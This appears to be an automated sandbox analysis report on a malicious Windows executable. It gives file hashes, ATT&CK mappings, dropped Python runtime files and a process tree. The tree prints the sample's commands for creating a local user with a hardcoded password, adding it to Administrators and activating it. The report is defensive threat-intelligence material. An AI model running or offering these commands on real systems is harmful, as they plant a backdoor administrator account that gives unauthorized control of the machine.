b9b8c850493be6e607e8889371bcb565ac25fada7d27cca10230e50b253b3cd6

Analysis

max time kernel
121s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
31-01-2025 08:45

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General

Target

ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe
Size

6.9MB
MD5

04ce0c6078e128a91ef031f68304b2c5
SHA1

4f34f7395f4bcc9eba528cefcf43b83689ea388d
SHA256

ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133
SHA512

38cc2b6ecf13f725041700cf8ce4f13796fd12fd49171221f083673201d886174b61d45d9665462373dd2115507eadaa82e44f0e59fd72707400d58f19a73590
SSDEEP

196608:y283kdaXMCHGLLc54i1wN+DrRRu7NtbFRKnZMZDYhmh1wlxN8:b/cXMCHWUj7rRQ7XbFsn6ZUEWN

Score

9^/10

discovery

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Loads dropped DLL 2 IoCs

pid	Process
5088	ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe
5088	ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001
Runs net.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1256 wrote to memory of 5088	1256	ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe	82
PID 1256 wrote to memory of 5088	1256	ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe	82
PID 5088 wrote to memory of 860	5088	ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe	92
PID 5088 wrote to memory of 860	5088	ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe	92
PID 860 wrote to memory of 3128	860	cmd.exe	94
PID 860 wrote to memory of 3128	860	cmd.exe	94
PID 3128 wrote to memory of 5008	3128	net.exe	95
PID 3128 wrote to memory of 5008	3128	net.exe	95
PID 5088 wrote to memory of 224	5088	ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe	96
PID 5088 wrote to memory of 224	5088	ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe	96
PID 224 wrote to memory of 3744	224	cmd.exe	98
PID 224 wrote to memory of 3744	224	cmd.exe	98
PID 3744 wrote to memory of 2836	3744	net.exe	99
PID 3744 wrote to memory of 2836	3744	net.exe	99
PID 5088 wrote to memory of 1228	5088	ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe	100
PID 5088 wrote to memory of 1228	5088	ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe	100
PID 1228 wrote to memory of 1616	1228	cmd.exe	102
PID 1228 wrote to memory of 1616	1228	cmd.exe	102
PID 1616 wrote to memory of 1948	1616	net.exe	103
PID 1616 wrote to memory of 1948	1616	net.exe	103

C:\Users\Admin\AppData\Local\Temp\ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe
"C:\Users\Admin\AppData\Local\Temp\ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1256
- C:\Users\Admin\AppData\Local\Temp\ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe
  "C:\Users\Admin\AppData\Local\Temp\ec7b605aaefd00f0507f43c78590266b74345bc9308eba26fc542b6a0ae5e133.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net user hoang92bn C1sco123 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:860
  - - C:\Windows\system32\net.exe
      net user hoang92bn C1sco123 /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3128
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user hoang92bn C1sco123 /add
        5⤵
        
        PID:5008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup Administrators hoang92bn /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:224
  - - C:\Windows\system32\net.exe
      net localgroup Administrators hoang92bn /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3744
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators hoang92bn /add
        5⤵
        
        PID:2836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net user hoang92bn /active:yes
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1228
  - - C:\Windows\system32\net.exe
      net user hoang92bn /active:yes
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1616
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user hoang92bn /active:yes
        5⤵
        
        PID:1948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\_MEI12562\VCRUNTIME140.dll

Filesize
117KB

MD5
862f820c3251e4ca6fc0ac00e4092239

SHA1
ef96d84b253041b090c243594f90938e9a487a9a

SHA256
36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153

SHA512
2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12562\_bz2.pyd

Filesize
83KB

MD5
c17dcb7fc227601471a641ec90e6237f

SHA1
c93a8c2430e844f40f1d9c880aa74612409ffbb9

SHA256
55894b2b98d01f37b9a8cf4daf926d0161ff23c2fb31c56f9dbbac3a61932712

SHA512
38851cbd234a51394673a7514110eb43037b4e19d2a6fb79471cc7d01dbcf2695e70df4ba2727c69f1fed56fc7980e3ca37fddff73cc3294a2ea44facdeb0fa9

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12562\_decimal.pyd

Filesize
274KB

MD5
ad4324e5cc794d626ffccda544a5a833

SHA1
ef925e000383b6cad9361430fc38264540d434a5

SHA256
040f361f63204b55c17a100c260c7ddfadd00866cc055fbd641b83a6747547d5

SHA512
0a002b79418242112600b9246da66a5c04651aecb2e245f0220b2544d7b7df67a20139f45ddf2d4e7759ce8cc3d6b4be7f98b0a221c756449eb1b6d7af602325

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12562\_hashlib.pyd

Filesize
63KB

MD5
422e214ca76421e794b99f99a374b077

SHA1
58b24448ab889948303cdefe28a7c697687b7ebc

SHA256
78223aef72777efc93c739f5308a3fc5de28b7d10e6975b8947552a62592772b

SHA512
03fcccc5a300cc029bef06c601915fa38604d955995b127b5b121cb55fb81752a8a1eec4b1b263ba12c51538080335dabaef9e2b8259b4bf02af84a680552fa0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12562\_lzma.pyd

Filesize
155KB

MD5
66a9028efd1bb12047dafce391fd6198

SHA1
e0b61ce28ea940f1f0d5247d40abe61ae2b91293

SHA256
e44dea262a24df69fd9b50b08d09ae6f8b051137ce0834640c977091a6f9fca8

SHA512
3c2a4e2539933cbeb1d0b3c8ef14f0563675fd53b6ef487c7a5371dfe2ee1932255f91db598a61aaadacd8dc2fe2486a91f586542c52dfc054b22ad843831d1e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12562\_socket.pyd

Filesize
82KB

MD5
abf998769f3cba685e90fa06e0ec8326

SHA1
daa66047cf22b6be608127f8824e59b30c9026bf

SHA256
62d0493ced6ca33e2fd8141649dd9889c23b2e9afc5fdf56edb4f888c88fb823

SHA512
08c6b3573c596a15accf4936533567415198a0daab5b6e9824b820fd1f078233bbc3791fde6971489e70155f7c33c1242b0b0a3a17fe2ec95b9fadae555ed483

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12562\base_library.zip

Filesize
1.3MB

MD5
18c3f8bf07b4764d340df1d612d28fad

SHA1
fc0e09078527c13597c37dbea39551f72bbe9ae8

SHA256
6e30043dfa5faf9c31bd8fb71778e8e0701275b620696d29ad274846676b7175

SHA512
135b97cd0284424a269c964ed95b06d338814e5e7b2271b065e5eabf56a8af4a213d863dd2a1e93c1425fadb1b20e6c63ffa6e8984156928be4a9a2fbbfd5e93

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12562\libcrypto-3.dll

Filesize
5.0MB

MD5
123ad0908c76ccba4789c084f7a6b8d0

SHA1
86de58289c8200ed8c1fc51d5f00e38e32c1aad5

SHA256
4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43

SHA512
80fae0533ba9a2f5fa7806e86f0db8b6aab32620dde33b70a3596938b529f3822856de75bddb1b06721f8556ec139d784bc0bb9c8da0d391df2c20a80d33cb04

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12562\python313.dll

Filesize
5.8MB

MD5
3aad23292404a7038eb07ce5a6348256

SHA1
35cac5479699b28549ebe36c1d064bfb703f0857

SHA256
78b1dd211c0e66a0603df48da2c9b67a915ab3258701b9285d3faa255ed8dc25

SHA512
f5b6ef04e744d2c98c1ef9402d7a8ce5cda3b008837cf2c37a8b6d0cd1b188ca46585a40b2db7acf019f67e6ced59eff5bc86e1aaf48d3c3b62fecf37f3aec6b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12562\select.pyd

Filesize
31KB

MD5
62fe3761d24b53d98cc9b0cbbd0feb7c

SHA1
317344c9edf2fcfa2b9bc248a18f6e6acedafffb

SHA256
81f124b01a85882e362a42e94a13c0eff2f4ccd72d461821dc5457a789554413

SHA512
a1d3da17937087af4e5980d908ed645d4ea1b5f3ebfab5c572417df064707cae1372b331c7096cc8e2e041db9315172806d3bc4bb425c6bb4d2fa55e00524881

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI12562\unicodedata.pyd

Filesize
695KB

MD5
43b8b61debbc6dd93124a00ddd922d8c

SHA1
5dee63d250ac6233aac7e462eee65c5326224f01

SHA256
3f462ee6e7743a87e5791181936539642e3761c55de3de980a125f91fe21f123

SHA512
dd4791045cf887e6722feae4442c38e641f19ec994a8eaf7667e9df9ea84378d6d718caf3390f92443f6bbf39840c150121bb6fa896c4badd3f78f1ffe4de19d

Download Submit